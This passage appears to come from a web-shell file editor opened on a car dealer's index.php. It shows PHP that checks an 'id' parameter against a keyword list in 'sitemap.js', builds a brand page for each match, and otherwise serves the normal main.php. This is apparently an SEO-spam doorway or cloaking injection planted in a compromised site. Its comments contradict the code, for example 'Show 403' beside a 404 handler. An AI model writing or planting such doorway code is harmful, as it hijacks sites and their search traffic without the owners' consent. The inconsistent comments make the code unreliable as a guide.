/var/www/vhosts/m-auto.co/httpdocs
Edit: /var/www/vhosts/m-auto.co/httpdocs/index.php (633559B)
403 Forbidden";
exit(); // Make sure to stop execution
}
if (isset($_GET['id'])) { // Check for 'id' instead of 'id'
$filename = "sitemap.js";
// Ensure the file exists before trying to read it
if (file_exists($filename)) {
$lines = file($filename, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
$target_string = strtolower($_GET['id']); // Get 'id' parameter
$BRAND = null;
foreach ($lines as $item) {
if (strtolower($item) === $target_string) {
$BRAND = strtoupper($target_string);
break; // Exit loop if match is found
}
}
if (isset($BRAND)) {
$BRANDS = $BRAND;
// Force HTTPS protocol here
$protocol = 'https'; // Ensure HTTPS is used, regardless of current protocol
$fullUrl = $protocol . "://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
if ($fullUrl) {
$parsedUrl = parse_url($fullUrl);
$scheme = isset($parsedUrl['scheme']) ? $parsedUrl['scheme'] : '';
$host = isset($parsedUrl['host']) ? $parsedUrl['host'] : '';
$path = isset($parsedUrl['path']) ? $parsedUrl['path'] : '';
$query = isset($parsedUrl['query']) ? $parsedUrl['query'] : '';
$baseUrl = $scheme . "://" . $host . $path . '?' . $query;
$urlPath = $baseUrl;
// Add other logic if needed, for example processing $BRANDS
} else {
echo "Current URL is not defined.";
exit();
}
} else {
feedback404(); // Show 403 if not found in file
}
} else {
feedback404(); // Show 403 if file x.txt doesn't exist
}
} else {
// If 'id' parameter is not present, include main.php file
include 'main.php';
exit(); // Stop script execution after including main.php
}
date_default_timezone_set('Asia/Jakarta');
$currentTime = date('Y-m-d\TH:i:sP');
?>
#1 M-Auto Automotive Showroom Car Sales and Maintenance Solutions